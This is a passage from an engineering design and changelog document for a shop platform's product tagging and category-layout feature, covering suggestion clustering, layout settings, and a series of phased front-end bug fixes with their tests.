that stem (so `valentin` displays as `Valentine's`, not `valentin`).
Surface:
- New "Suggest categories from titles + descriptions" button on
`/s/{shop_id}/tags`. Renders a "Suggested categories" well listing each
candidate cluster — label, sample product titles, product count.
- One-click apply per cluster — creates the tag + bulk-attaches every
product in the cluster, all under one form POST.
- One-click dismiss per cluster — adds the stem's label to
`tag_stopwords_json` so it never resurfaces.
- Standalone CLI `scripts/backfill_tags.py --shop=<id> [--dry-run]` for
larger shops that prefer a terminal preview.
**A6 hybrid — suggest, never auto-commit.** Cluster output is rendered to
the operator; nothing writes `Tag` / `ProductTag` rows until the operator
clicks Apply.
No ML, no external deps. Pure Python over `Product.title` +
`Product.description`. O(N × tokens) over a shop's catalog.
### Phase 3 — ML-assisted categorization via uncloseai (A5)
Optional, off-by-default kill-switch (mirrors MPS-22 pattern):
`app.features.ml_categorization.enabled` default `False`.
- Per-product call to `uncloseai.com` OpenAI-compatible endpoint we already
operate — "pick 1–3 from this taxonomy (provided)."
- Cheaper than vendor LLMs because we run the endpoint ourselves.
- Same approve-don't-commit UX as Phase 2 — operator owns final state.
- Backfill script `scripts/ml_tag_suggest.py` runs over a shop's catalog,
writes suggestions to a new `tag_suggestion` table (not `product_tag`),
surfaces them in the bulk tagger for one-click accept.
- We do **not** ship embedding-clustering (A4) — A5 is cheaper to operate
given our existing uncloseai infrastructure, and the operator-approval UX
is identical so we don't need both.
Phase 3 lands behind the kill-switch even when shipped. Operator opt-in
required.
## Shop setting toggle (the operator-facing surface)
New form section `home-layout-settings`, added to the existing 19 sections in
`views/shop.py`. UI lives in `shop_settings.j2` alongside `ribbon-settings`.
### Columns added to `Shop`
| Column | Type | Default | Purpose |
|---|---|---|---|
| `home_layout` | `Integer` | `0` | 0=flat, 1=filter_chips, 2=sectioned_lanes |
| `home_layout_tag_limit` | `Integer` | `8` | Max chips / lanes to show on home |
| `home_layout_per_lane_limit` | `Integer` | `10` | Max products per lane (B1) |
| `featured_product_ids_json` | `UnicodeText` | `""` | JSON list of UUIDs for optional B3 hero strip; nullable, opt-in |
All `server_default` per CLAUDE.md SQLite migration rule.
### Form UI (operator's view)
A single select for `home_layout` with previewable explanations:
- **Flat grid (default)** — every product, newest first. Same as today.
- **Filter chips on flat grid** — flat grid with a clickable category strip
on top. Categories come from product tags.
- **Sectioned by category** — separate lanes per category, like a magazine
rack. Best for shops with 50+ products in 4+ categories.
Plus three numeric fields (tag limit, per-lane limit, featured strip on/off).
Plus a "Featured products" picker (Phase 1 ships the column + form, the rich
picker is Phase 2).
## Decisions (resolved at draft time — flag in review if fox disagrees)
1. **Many tags per product**, not single category. Matches printableprompts —
a product can be both `math` and `valentines`.
2. **Tags scoped per shop**, not platform-wide. Avoids collision between
unrelated shops (a music shop's `blues` ≠ a gardening shop's `blues`).
3. **Tag bulk editor reachable from `/actions/view`** as a new
`.mps-button` in `action-button-grid`.
4. **Mobile**: chip strip horizontally scrolls; sectioned lanes stack as
single-column below 800px (existing mobile reorder pattern in CLAUDE.md).
5. **Watch mode** uses `discovery_ring` once a shopper enters it — sectioned
home is entry-page only, no SPA JSON shape change.
6. **`/search?keywords=X&tag=Y`** — tag filter on search results in Phase 1.
7. **Stopwords**: per-shop `tag_stopwords_json` override on top of a
platform-wide default list.
8. **Phase 2 + 3 are suggest-then-approve only** — never auto-commit tags.
9. **Naming**: `Tag` not `Category` — tags are many-per-product and flat;
categories would imply a tree we are not building.
## Implementation (Phase 1 — shipped 2026-05-15)
| File | Change |
|---|---|
| `models/tag.py` (new) | `Tag` model: id, shop_id, name, slug, created_timestamp; unique `(shop_id, slug)`; helpers `get_or_create_tag`, `tags_by_popularity` |
| `models/product_tag.py` (new) | `ProductTag` many-to-many association with `(product_id, tag_id)` unique constraint |
| `models/product.py` | Add `tags` association_proxy |
| `models/shop.py` | Add `home_layout`, `home_layout_tag_limit`, `home_layout_per_lane_limit`, `featured_product_ids_json`, `tag_stopwords_json` columns + `is_home_flat`/`is_home_chips`/`is_home_lanes`/`home_layout_label`/`featured_product_ids`/`tag_stopwords` helpers + `tags` relationship |
| `models/meta.py` | Register `Tag` / `ProductTag` in `CLASS_TO_TABLE` |
| `models/__init__.py` | Import `tag` + `product_tag` modules |
| `scripts/alembic/versions/882d68db47fa_mps_24_*.py` (new) | Idempotent migration: creates `mps_tag` + `mps_product_tag` + 5 `mps_shop` columns; guards via `_table_exists` / `_column_exists` (CLAUDE.md pattern) |
| `routes.py` | Add `shop_tags` + `shop_tag_detail` before `shop_slug` catch-all |
| `views/shop.py` | `_build_home_layout_context()` helper; `home-layout-settings` form_section handler; `shop_tag_detail` + `shop_tags` (bulk tagger) views; tag filter param on `home` / `shop` / `search` views |
| `views/product.py` | Tag handling on product edit POST — comma-separated slugify + diff |
| `templates/home.j2` | Branch on `shop.home_layout` for chip strip / sectioned lanes / flat grid |
| `templates/shop.j2` | Same branching (used by `/s/{id}/{slug}`) |
| `templates/shop_settings.j2` | New `home-layout-settings` section |
| `templates/product_edit.j2` | Comma-separated tag input |
| `templates/shop_tag.j2` (new) | Tag detail page (works without JS) |
| `templates/shop_tags.j2` (new) | Bulk tagger UI: list tags + apply/remove per product |
| `templates/actions_view.j2` | Add Tags shortcut to operator action grid |
| `templates/styleguide.j2` | Live tag-chip + tag-lane examples under `#cards` |
| `static/css/common.css` | `.tag-chip-strip` / `.tag-chip` / `.tag-chip-active` / `.tag-lane` / `.tag-list` / `.tag-product-list` styles — tokens only, Grid only |
| `static/js/tag_filter.js` (new) | Progressive enhancement: in-place chip filter via `data-tag-slugs`; falls back to server `?tag=` |
| `tests/test_models.py` | `TestShopHomeLayout` + `TestTagModel` — 14 unit tests |
| `tests/test_functional.py` | `TestHomeLayoutAndTags` — 10 functional tests (settings save, tag editor, attach/detach, chip filter, tag detail) |
| `docs/architecture.md` | Add MPS-24 to feature matrix + ticket index |
| `docs/design-system.md` | Document MPS-24 chip + lane component classes |
| `CLAUDE.md` | New "Shop Home Layout + Tags" section + "Ticket Scoping — One Feature, One Ticket" rule |
| `~/git/www.makepostsell.com/index.html` + `pricing.html` | "Categorized Home Page" feature card + pricing list entry |
### Phase 2 — shipped 2026-05-15
| File | Change |
|---|---|
| `lib/tag_suggest.py` (new) | Pure-function clusterer: `tokenize`, `simple_stem`, `stem_bag`, `suggest_clusters` over title (weight 3) + description (weight 1, capped at 100 unique tokens) |
| `scripts/backfill_tags.py` (new) | CLI: `--shop=<id>` previews suggestions; `--apply` creates tags + attaches products |
| `views/shop.py` | `shop_tags` view gained `action=suggest`, `action=apply_suggestion`, `action=dismiss_suggestion`; `?show_suggestions=1` triggers cluster compute |
| `templates/shop_tags.j2` | "Suggest categories from titles + descriptions" button + suggestions well with one-click Apply / Dismiss per cluster |
| `static/css/common.css` | `.tag-suggest-list` / `.tag-suggest-item` / `.tag-suggest-actions` styles |
| `tests/test_models.py` | `TestTagSuggestPureFunctions` — 11 unit tests over tokenize / stem / cluster |
| `tests/test_functional.py` | `test_suggest_clusters_renders_candidates`, `test_apply_suggestion_creates_tag_and_attaches_products`, `test_dismiss_suggestion_adds_to_stopwords`, `test_apply_suggestion_rejects_empty_input` |
### Phase 2.8 — bulk tagger: AJAX tag-focus + real drag-to-reorder + page-weight fix (shipped 2026-05-16)
Operator (printableprompts.com, **481 products**) reported the bulk
tagger "still refreshing the whole screen" and "dragging tags doesn't
work" after 2.7. Two real defects the 2.7 static audit missed:
1. **Tag-focus was a full-page navigation.** Clicking a tag chip is
`<a href="?focus=slug">` — a real reload. On a 481-product catalog
the view loaded + rendered *every* product on *every* GET, so each
tag click reloaded a multi-MB page. The forms were AJAX; the
dominant workflow action (focus a tag → assign products) was not.
2. **Drag-to-reorder never existed.** `shop_tags.j2` shipped
`draggable="true"`, a ≡ handle, and "drag rows when JS is enabled"
help text, but `tag_bulk.js` had **zero** drag handlers — only the
↑/↓ buttons worked. The affordance lied.
Fix:
- **View** (`shop.py:shop_tags`): `all_products` now loads only when
`focus_tag or show_suggestions` (bare GET is light). New AJAX branch:
`is_ajax + ?focus=<slug>` → JSON `{focus:{name,slug},
products:[{id,title,url,attached}]}`.
- **Template** (`shop_tags.j2`): focus section is now a stable
`[data-focus-section]` (always in DOM, `hidden` until focused);
`?focus=` chips carry `data-tag-focus-link` + `data-tag-slug`.
No-JS unchanged: the link is a real navigation, server still renders
the section.
- **JS** (`tag_bulk.js`): `wireFocusLinks()` intercepts chip clicks →
`fetchFocus()` → `renderFocus()` swaps the product list in place,
updates the active chip, `history.pushState` (back/forward via
`popstate`), graceful real-navigation fallback. `wireDragAndDrop()`
implements HTML5 DnD on the tag rows → `persistOrder()` POSTs
`action=set_order&tag_slugs=…` (view already supported it) and
re-syncs ↑/↓ disabled states. `.tag-list-dragging` CSS added.
Tests (`test_functional.py::TestProductTagsSpa`):
`test_ajax_focus_returns_product_list_json`,
`test_ajax_focus_unknown_slug_returns_null_focus`,
`test_ajax_set_order_persists_tag_positions`,
`test_bulk_tagger_bare_get_renders_without_products`.
Deferred (occasional click, not the hot path): AJAX-ifying the
"Suggest categories" link — still a full navigation by design.
**Phase 2.8r — systemic dark-mode token sweep** (shipped 2026-05-18):
after fixing the same dark-mode bug 4× one-surface-at-a-time (wells,
suggest cards, counts, checksum table) the operator asked for a
systemic pass. Root pattern: CSS referenced `var(--name, fallback)`
where `--name` is **not** a token in `tokens.css` (`--color-surface*`,
`--color-border*`, `--color-text*`, `--text-color`, `--surface*`), so
the light `fallback` applied in BOTH themes → dark broken. Swept all
53 occurrences in `common.css` to the real theme-aware tokens
(`--surface-base/-dim/-container`, `--border-default`,
`--text-primary/-body/-muted`), **keeping each fallback literal**
(comma-boundary sed; verified diff is exactly 53/53 var-name-only
swaps, no fallback/structure change, line count unchanged). Light
mode now uses canonical token values: identical where token==fallback
(`#fff`, off-whites); minor design-consistent nudges where they
differ (muted `#888→#666`, body `#333→#515151`, primary `#111→#333`,
borders → `#e0e0e0`). Dark mode fixed app-wide. Excluded (not the
bug / runtime-defined): `--shop-theme-*`, `--color-accent`,
`--pico-*`, `--primary-color`, the `--dark-*` family (dark fallbacks,
dark-only rules), and theme-neutral font/size/radius vars. CLAUDE.md
gains a "DARK-MODE TRAP" rule + pre-commit grep gate.
**Phase 2.8q — click-to-copy hashes + styled checksum table** (shipped
2026-05-18): operator: make the checksum hashes click-to-copy (they
were unstyled, overflowing the column). New reusable
`static/js/copy.js` (delegated `[data-copy]`, async Clipboard API +
hidden-textarea fallback, "Copied!" feedback, cache-busted) — generic,
not checksum-specific. `content.j2` wraps each hash in a
`button.copy-hash` (local Jinja macro, DRY). New `.checksum-table` /
`.copy-hash` CSS: `table-layout:fixed` + `word-break:break-all` so the
64-char SHA wraps fully visible instead of truncating; theme-aware
tokens only (no `[data-theme]` overrides → can't re-introduce the
trans-blue-class bug). `/styleguide#copyhash` added. Test:
`test_checksum_report_is_click_to_copy`.
**Phase 2.8p — Checksums as a verifiable page report** (shipped
2026-05-17): operator wants the content page's "Checksums" panel to
cover the whole page, not just the product file —
product/content file + thumbnail1 + title + description, so a human
or agent can re-hash what they see and confirm provenance. The async
checksum infra (`lib/checksums.py` / `compute_checksums_async`) is
already generic — the upload pipeline (`views/product.py:692`)
computes `checksums[file_key]` for ANY uploaded key incl.
`thumbnail1`, recomputed on re-upload (no separate thumbnail
auto-gen pipeline exists). Added `Product.content_checksums()` —
**live** SHA-256+MD5 of `title`+`description` (computed on read, not
stored, so it always matches the visible text). `content.j2`
Checksums `<details>` is now a 4-asset report table (Asset /
Algorithm / Hash), SHA-256 + MD5 per asset. Tests:
`TestContentChecksums` (3, no-DB). Decisions: stored+recompute-on-
change for thumbnail (already satisfied by the generic upload path),
SHA-256 + MD5 both shown (match existing).
**Phase 2.8o — manual tags are ghost metadata: hide behind a flag**
(shipped 2026-05-17): operator direction — stop hand-attaching tags
("ghost metadata" invisible to humans/agents reading the page);
derive them from title + description instead. New MPS-22-style kill
switch `app.features.manual_tags.enabled` (`request.manual_tags_enabled`,
**default False**, `MPS_FEATURES_MANUAL_TAGS_ENABLED` env, `True` in
test.ini). When off: `product_edit.j2` hides the chip editor + comma
field + `product_tags.js`, showing a "tags are derived from your
title & description" note; `shop_tags.j2` hides the "Create a tag"
form + the per-product apply (focus) section, showing a "How tags
work" note — the **Suggest** panel + category overview stay (the
derived path). Endpoints stay functional so the flip is instant +
lossless ("until further notice"). Tests:
`TestManualTagsKillSwitch` (fresh app, flag False — mirrors
`TestKillSwitches`). Docs: CLAUDE.md "Tag Philosophy" + kill-switch
matrix row.
**Phase 2.8n — auto-hydrate products into existing tags** (shipped
2026-05-17): operator wants new/edited products auto-filed into
existing categories without manual tagging.
`lib/tag_suggest.py:auto_hydrate_tags` stem-matches a product's
title+description against the shop's EXISTING tag names (reuses
`tokenize`/`simple_stem`; every stem of the tag name must appear in
the product stem set — unigram + phrase tags both work). Wired via
`views/product.py:_auto_hydrate_and_flash` into `product_new`
(create), `product_edit_description` (markup desc editor) and
`product_edit` (when title/desc changed, AFTER the explicit comma-tag
sync so it's additive). Contract: additive (never removes),
idempotent, never CREATES tags — inventing categories stays
suggest-then-approve; this only files into operator-defined ones.
Tests: `TestAutoHydrateTags` (3, test_integration) +
`test_new_product_auto_hydrates_existing_tag` /
`test_edit_description_auto_hydrates_existing_tag` (test_functional).
Note: shares the suggest engine's stemmer, so its known traits apply
(e.g. "studies"→"stud" ≠ "study"→"study"); consistent by design.
**Phase 2.8m — supersession keeps umbrella unigrams** (shipped
2026-05-17): operator saw "December Holiday" but not "Holiday" on its
own. Bigram supersession dropped a unigram when the *union* of all
bigrams containing it covered ≥0.8 of its products — so "holiday"
(spanning "december holiday" + "winter holiday" + "christmas holiday")
was hidden as redundant. Changed to supersede only when a **single**
bigram covers ≥0.8 (true fragment, e.g. "write"→"write room"); an
umbrella unigram covered only by the union of DISTINCT bigrams is now
KEPT as its own category. Tests:
`test_suggest_clusters_keeps_umbrella_unigram_over_multi_bigrams`
(was `_multi_bigram_supersedes_unigram`, behaviour intentionally
flipped), `test_suggest_clusters_surfaces_holiday_with_phrase_bigrams`;
the single-dominant-bigram test still passes unchanged. Also clarified
(operator Q): the stem engine **never auto-applies** to new products
— it's suggest-then-approve only (`/s/{id}/tags` button or the
operator-run `backfill_tags` CLI); adding a product does not
auto-categorize it.
**Phase 2.8l — SERP right rail (featured / random) + smaller thumbs**
(shipped 2026-05-16): operator wanted smaller SERP thumbnails and a
right column. Thumb column shrunk (140/200/260/320 → 88/110/130/150
across container tiers). New right rail: `_featured_rail_products`
helper (shop.featured_product_ids — public/ready/deduped/capped;
random public-ready fallback so it's never empty; bounded
`func.random()` query — CWE-407-safe), injected into home/shop/search
(`_build_home_layout_context`) + `shop_tag_detail` ctx. Shared
`_facet_nav.j2:featured_rail` macro rendered as the 3rd child of the
existing `.tag-detail-layout` on `shop_tag.j2` / `home.j2` /
`shop.j2`. CSS: 2-col (facet|results) <1100px with the rail
full-width beneath; 3-col (facet|results|sticky rail) ≥1100px; rail
stacks under results <800px. `/styleguide#serprail`. Tests:
`test_serp_featured_rail_renders_with_random_fallback`,
`test_serp_featured_rail_prefers_curated_featured`;
`test_tag_detail_price_filter_narrows_grid` rescoped to the results
grid (the rail is unfiltered discovery by design).
**Phase 2.8k — auto-suggest: way more, stop missing `holiday`**
(shipped 2026-05-16): operator: "100 suggested tags is not enough, we
need way more — missing holiday holidays". Two `100` caps in
`lib/tag_suggest.py`: `DESCRIPTION_TOKEN_CAP` 100 → **400** (long
teaching-resource descriptions truncated cross-cutting words like
`holiday`/`holidays`/`seasonal` before they were ever counted —
verified neither word is a stopword) and `DEFAULT_TOP_N` 100 → **500**
(481-product catalogue had valid groups ranking past the cut; the
min_products / max_share / min_title_share filters already strip
noise, so a high ceiling surfaces the long tail safely). `?top_n=`
URL clamp raised 500 → 5000 for headroom. Both caps stay bounded
(deduped unique tokens / no unbounded query — CWE-407-safe). Test:
`test_deep_description_word_surfaces_after_cap_raise`.
**Phase 2.8j — drop redundant tag-detail header** (shipped
2026-05-16): operator: remove the tag title + "← All products" from
the top of the tag SERP. With the always-on chip strip (active
category highlighted + an "All" chip) the `tag-detail-header`
`<h1>`/back-link was redundant. Removed the section from
`shop_tag.j2` and the dead `section.tag-detail-header` CSS. The
document `<title>` (in `<head>`) still carries the tag name for SEO.
Tests updated to discriminate the tag SERP via `tag-detail-content`
instead of `tag-detail-header` (+ assert the header is gone).
**Phase 2.8i — chip strip on every SERP page** (shipped 2026-05-16):
operator: "leave the chits on screen for all serp pages." The
horizontal `tag-chip-strip` rendered only on the shop home; drilling
into a category (tag-detail SERP `shop_tag.j2`) dropped it, so hopping
categories meant going back. Extracted the (duplicated) chip strip
from `home.j2`/`shop.j2` into a single `_facet_nav.j2` `chip_strip(...)`
macro and added it to `shop_tag.j2` under the header. The
`shop_tag_detail` view already supplied `home_chips` / `active_tag` /
sort / price, so this was a template-only gap; the active category
chip highlights on the SERP and carries `facet_qs`. Search SERP
already renders `home.j2` so it gets the macro for free. Test:
`test_chip_strip_stays_on_tag_detail_serp`.
**Phase 2.8h — facets compose, not clobber** (shipped 2026-05-16):
operator: "switching one breaks it" — picking a category reset the
active Sort + Price. Cause: the facet category links / "All" link /
top chips / lane "See all" all pointed at a bare
`{tag_base}/tag/{slug}` with **no query string**, so a click dropped
`?sort=` / `?price_*`. (The Sort `<select>`/Price form already
preserved the tag via `action=""` + path, and each other as sibling
fields — only category navigation lost state.) Fix: one shared
`facet_qs(sort_key, price_min, price_max)` macro in `_facet_nav.j2`
returning the `?sort=…&price_min=…&price_max=…` suffix; appended to
every category/All/chip/See-all href in `_facet_nav.j2`, `home.j2`,
`shop.j2`. URL state, **not localStorage** (operator's suggestion):
shareable, no-JS, back-button correct, and the destination SERP
already reads those params. Tests:
`test_facet_links_preserve_sort_and_price`,
updated `test_tag_detail_renders_facet_sidebar` /
`test_facet_category_link_renders_tag_detail_not_home`.
**Phase 2.8g — facet sidebar nested scrollbar removed** (shipped
2026-05-16): `ul.facet-tag-list` had `max-height:60vh;
overflow-y:auto` → ugly inner scrollbar on the sidebar / mobile
accordion. Dropped; the list flows full-height and the page scrolls.
**Phase 2.8f — chips navigate to the tag SERP like the left nav**
(shipped 2026-05-16): the top chip strip's category links already
pointed at `{tag_base}/tag/{slug}`, but `tag_filter.js` decided
whether to intercept by inspecting **`chips[0]`** — the "All" chip,
which points at the shop home (no `/tag/`) — so it never detected the
real category links and always did the in-place "default cards"
hide/show. Now it scans ALL chips: any `/tag/` href → bail → full
navigation, so a chip behaves exactly like its matching left-nav
category (server renders the SERP in the shop's `home_layout`).
**Phase 2.8e — `form.action` DOM-clobbered by `<input name=action>`** (shipped
2026-05-16): with 2.8d live, the operator's Network panel showed the
proxy-proof `ajax=1` working (a real `fetch` to `tags` → 200, 0.7 kB
JSON) — but also four requests to a URL literally named
`[object HTMLInputElement]`, and the Payload tab confirmed the body
was correct (`action=delete`, `tag_slug=…`, `ajax=1`). Cause: every
tag form contains `<input type="hidden" name="action">`. A named form
control **clobbers the built-in `HTMLFormElement.action` property**
(DOM clobbering / named-property override), so `fetch(form.action)`
fetched that `<input>` element — coerced to the string
`"[object HTMLInputElement]"` → resolved against the shop, returned
the 25.9 kB shop page (200, non-JSON) → `reportFailure` (no DOM
change: "closer but nothing changes"). Fix: read
`form.getAttribute("action")` (content attribute, never clobbered),
never `form.action`; build programmatic forms with
`setAttribute("action", …)`. tag_bulk.js: submitForm, doReorder,
swapToggleForm. (No browser test harness exists; guarded via
CLAUDE.md note + the `ajax=1` server tests from 2.8d.)
**Phase 2.8d — the OTHER root cause: proxy strips X-Requested-With**
(shipped 2026-05-16): even after 2.8c (fresh JS confirmed loading,
`tag_bulk.js?v=<hash>` 200 in the operator's Network panel),
Add/reorder/etc still full-reloaded. Operator's Network tab showed the
tell: a **document** `POST /s/{id}/tags` → **302** → GET → **200**,
and the page rendered the **server-side** flash banner ("Moved
'Emergent Reader' up.") — which only survives if the view took the
**non-AJAX** `HTTPFound` branch, i.e. `is_ajax()` returned False: the
app never saw `X-Requested-With`. Custom-domain shops
(`shop.printableprompts.com`) sit behind a Caddy reverse proxy that
was not forwarding that request header to uWSGI, so the
capability-driven split always chose the 302 path and the JS
`await res.json()` then fell back to a full submit.
Fix: a second, **proxy-proof** AJAX signal. `views/__init__.py:is_ajax`
now returns True for `X-Requested-With == XMLHttpRequest` **OR**
`request.params.get("ajax") == "1"`. The param rides in the URL/body,
which no proxy strips. `tag_bulk.js` (submitForm / doReorder /
persistOrder FormData, fetchFocus URL) and `product_tags.js` (post
helper) now send `ajax=1`. The header is kept for back-compat.
Also hardened `tag_bulk.js`: **zero** code paths full-reload on
failure anymore — `reportFailure()` surfaces HTTP status +
content-type + body snippet as a visible banner (the old
`form.submit()` / `location` fallbacks were turning every server
hiccup into the "screen keeps refreshing" symptom and hiding the
cause); `safeInit()` + a `window 'error'` handler banner make a dead
script visible instead of silent. Tests:
`test_ajax_param_signals_ajax_without_header`,
`test_no_ajax_signal_still_redirects`,
`test_ajax_focus_via_param_returns_json`.
**Phase 2.8c — THE root cause** (shipped 2026-05-16): every "still
reloads / still not working" report across 2.7 → 2.8 → 2.8b was the
**same defect** — `shop_tags.j2` (`tag_bulk.js`) and `product_edit.j2`
(`product_tags.js`) loaded their `<script>` **without**
`?v={{ request.git_hash }}`. `/static` is served
`cache_max_age=3600`, so the operator's browser kept the stale JS for
up to an hour after every deploy: the new SPA code never ran, forms
fell back to native submit = full reload, every time — while
JS-blind server tests passed. Fix: append `?v={{ request.git_hash }}`
to **all** static `<script>` includes (the existing `base.j2` /
`offer.js` convention), not just the two — same latent bug class
across `tag_filter`, `auction`, `player`, `sandbox`, `watch`,
`signals`, `comments`, `shop-settings`. Grep gate:
`grep -rnE '<script src="/static/js/[^"?]+\.js"' templates/` must be
empty. (The 2.8/2.8b JS work stands; it just was never being fetched.)
**Phase 2.8b** (shipped 2026-05-16): the generic `data-tag-form`
**`submit`-event** interception proved unreliable in the field —
operator reported Add / Delete / reorder *all* still full-reloaded
while the explicit click handlers (focus/drag) worked. Root fix:
**one unified capture-phase `click` handler** (`onTagFormClick`)
on every submit control inside `form[data-tag-form]`. It
`preventDefault()`s (native submit never starts → no reload, no
double-handling), runs the delete confirm via `data-confirm`
(inline `onclick="return confirm()"` removed from `shop_tags.j2`
**and** the JS `appendTagRow` builder — it fought the interception),
routes `reorder` → `doReorder` (in-place swap) and everything else
(create/add, delete, attach/detach, apply/dismiss suggestion) →
`submitForm`. The `submit` listener is kept only as the Enter-key
fallback; `escapeJs` removed (dead after the onclick→data-confirm
switch). Tests: `test_ajax_reorder_arrow_returns_json_and_moves`,
`test_ajax_delete_tag_returns_json`,
`test_bulk_tagger_delete_uses_data_confirm_not_inline_onclick`.
### Phase 2.7 — per-product SPA tag chips on product edit (shipped 2026-05-16)
Operator report: adding/removing a tag on the product edit page
"refreshed the whole screen". Root cause: tags lived only as a
comma-separated `<input name="tags">` *inside the big product form*, so
any tag change required a full "Save Settings" POST + page reload. (The
`/s/{id}/tags` bulk tagger was already a working SPA — separate surface.)
Fix — capability-driven, mirroring the comments/offers/bulk-tagger
pattern:
- **New route + view**: `product_tags` → `/p/{product_id}/tags`
(registered before the `product_slug` catch-all),
`@shop_editor_required` + `@trial_active_required`. `action=add`
(`name`) → `get_or_create_tag` + `product.tags.append`;
`action=remove` (`tag_slug`) → detach. AJAX (`X-Requested-With`) →
JSON `{status, messages, tag, changed}`; plain POST → flash + 302
back to product edit (no-JS still works). Rebuilds the shop
discovery ring when watch mode is on, exactly like `product_edit`.
- **Shared helper**: `views/__init__.py:is_ajax()` — single source of
truth for the capability split; `shop.py:_is_ajax` now delegates to
it (DRY; bulk tagger behaviour unchanged).
- **Template** (`product_edit.j2`): keeps the comma `tags` input as the
no-JS path; adds a `js-only` chip editor (`.product-tag-chips`).
`product_tags.js` reveals the chips, demotes the raw input to
`type=hidden` but keeps it in lock-step with the chips so a later
full "Save Settings" is a no-op, never a stale revert.
- **JS** (`static/js/product_tags.js`): fetch + `X-Requested-With`,
add via Enter/button, remove via delegated click, toast flash, JSON
content-type guard, graceful non-reloading failure.
- **CSS / styleguide**: `.tag-chip-removable` family added to
`common.css` (tokens-only, Grid-only, always-visible remove button)
+ live `/styleguide#tagchips` section + `docs/design-system.md` rows.
- **Bulk tagger hardening**: `tag_bulk.js` `init()` no longer
early-returns before binding the delegated submit listener (a latent
way the SPA could silently fall back to full reloads).
Tests:
| Layer | Cases |
|---|---|
| `test_models.py` | `test_same_name_different_case_yields_same_slug` (slug dedupe invariant the idempotent add relies on) |
| `test_integration.py` | `TestProductTagAddRemoveIntegration`: add/remove round-trip, idempotent-on-slug, remove-unknown-noop |
| `test_functional.py` | `TestProductTagsSpa`: AJAX add/remove → JSON, no-JS add → 302 + persists, idempotent re-add, non-editor 302 (no DB change), edit page renders chip editor, **bulk-tagger-AJAX-returns-JSON regression guard** |
### Phase 2.6c — fix sidebar category links falling through to shop-home catch-all (shipped 2026-05-15)
Defect from 2.6b operator review: clicking any category in the desktop
sidebar navigated to a page that "looked exactly like home" (screenshots
in chat). Root cause: the facet macro built category links as
`{absolute_url}/tag/{slug}` where `absolute_url` includes the shop slug
(`/s/{id}/{shop_slug}`). The resulting path `/s/{id}/{shop_slug}/tag/{slug}`
does **not** match the tag detail route `/s/{shop_id}/tag/{slug}` — it
falls through to the `shop_slug` catch-all (`/s/{shop_id}/{slug:.*}`)
and renders the shop home / lanes, ignoring the tag entirely.
Fix: `_facet_nav.j2` macros take a new `tag_base` arg =
`request.shop.absolute_url(request, slug=False)` (= `/s/{id}`, no shop
slug). Category links now build `{tag_base}/tag/{slug}` which matches
`shop_tag_detail` exactly. The "All" link still uses the slugged
`base_url` (shop home). All three call sites (shop_tag.j2, home.j2,
shop.j2) updated. Regression test:
`test_facet_category_link_renders_tag_detail_not_home` +
hardened assertions in `test_tag_detail_renders_facet_sidebar`.
### Phase 2.6b — facet nav on shop home (layout 2) + mobile SERP rows under each lane (shipped 2026-05-15)
Follow-up to 2.6 after operator review on tablet: layout 2 (sectioned
lanes) had no facet sidebar and mobile lanes were horizontal tile rows
with no description (image attached in chat shows the issue on
`shop.printableprompts.com` rendered on a tablet in Firefox).
| Surface | Change |
|---------|--------|
| `templates/_facet_nav.j2` (new) | Reusable Jinja macros: `facet_form(...)` shared body, `sidebar(...)` desktop wrapper, `details(...)` mobile `<details>` accordion. Single source of truth for the controls |
| `templates/shop_tag.j2` | Switched to the macro; both sidebar + details now render |
| `templates/home.j2` + `shop.j2` | Wrapped lanes content + flat/filtered grid in `.tag-detail-layout` when `shop.home_layout >= 1`; both facet variants render. Each lane now emits BOTH horizontal `.tag-lane-grid` (desktop) AND vertical `.serp-list.tag-lane-rows` with 6-sentence excerpts (mobile/tablet) |
| `views/shop.py` | `_build_home_layout_context()` populates `facet_tags` for any `layout >= 1` (was only on `?tag=` filter). Also wires sort + price filter on non-tag-filtered home when shopper applies them |
| `static/css/common.css` | New `.facet-details` styles (mobile accordion); `aside.facet-nav` hidden <800px; `.tag-lane-grid` hidden <800px; `.serp-list.tag-lane-rows` hidden ≥800px |
| `tests/test_functional.py` | `test_shop_home_lanes_renders_facet_sidebar_and_mobile_rows` |
Mobile rule: shopper opens `shop.foo.com` on phone, taps "Filter & sort"
to open the `<details>` accordion (sort, price, every category), then
scrolls a vertical SERP list with description excerpts under each tag
heading. Desktop rule: 220px left sidebar + Netflix-style horizontal
tile lanes. Same controls, same data, viewport-driven presentation.
### Phase 2.6 — tag-detail facet sidebar + 6-sentence SERP excerpt (shipped 2026-05-15)
Operator feedback after Phase 2.5: tag-detail SERP rows were truncating
at ~200 chars (Google-snippet feel) but printableprompts product
descriptions are 4-8 sentences of classroom context that all matter to
the shopper. Also missing: a way to narrow within a tag (e.g. "math
products under $5") without going back to a flat grid.
| Surface | Change |
|---------|--------|
| `models/product.py` | New `_strip_markdown(text)` module helper. `excerpt()` now consumes it; new `excerpt_sentences(n=6, max_chars=1500)` splits on `.!?` and joins the first N — strips markdown first, caps at 1500 chars as a safety floor for terminator-free descriptions |
| `views/shop.py` | New `_price_range_from_request(request)` → `(min_cents, max_cents)`. New `_filter_by_price_range(products, min_cents, max_cents)` applies inclusive bounds. Wired into `shop_tag_detail` and `_build_home_layout_context` (filtered shop home / search). `shop_tag_detail` now passes `facet_tags = tags_by_popularity(...)` (all tags, no limit) for the sidebar |
| `templates/shop_tag.j2` | Layout split into `.tag-detail-layout` grid (sidebar 220px + content 1fr at ≥800px, single column below). Sidebar `<form method="get">` wraps three sections: Sort dropdown, Price min/max number inputs, full Categories list with `.facet-tag-active` highlighting. Top `.tag-chip-strip-mobile` retained for mobile (sidebar hidden <800px). SERP row now calls `product.excerpt_sentences(6)` |
| `static/css/common.css` | New `.tag-detail-layout` + `.facet-nav` + `.facet-section` + `.facet-tag-list` + `.facet-price-range` + dark-mode overrides. Grid-only per house style |
| `tests/test_models.py` | New `TestProductExcerpt` — 13 unit tests over `_strip_markdown`, `excerpt`, `excerpt_sentences` (sentence count, terminator variety, markdown stripping, safety cap) |
| `tests/test_functional.py` | `test_tag_detail_renders_facet_sidebar`, `test_tag_detail_price_filter_narrows_grid`, `test_tag_detail_excerpt_renders_six_sentences` — all green |
Capability-driven: sidebar is plain HTML + GET form. JS auto-submits the
sort `<select>` on change; without JS, the same Apply button submits
everything. No new JS file. No breaking change to existing chip filter
flow or the search route.
### Phase 2.5 — product page polish: description wrap + price-history toggle (shipped 2026-05-15)
Two product-page bugs surfaced while shopping printableprompts:
- **Description text clipping right edge on mobile.** `.content-card`
uses CSS Grid but its grid items had default `min-width: auto` —
they expanded to their content's intrinsic width, pushing the card
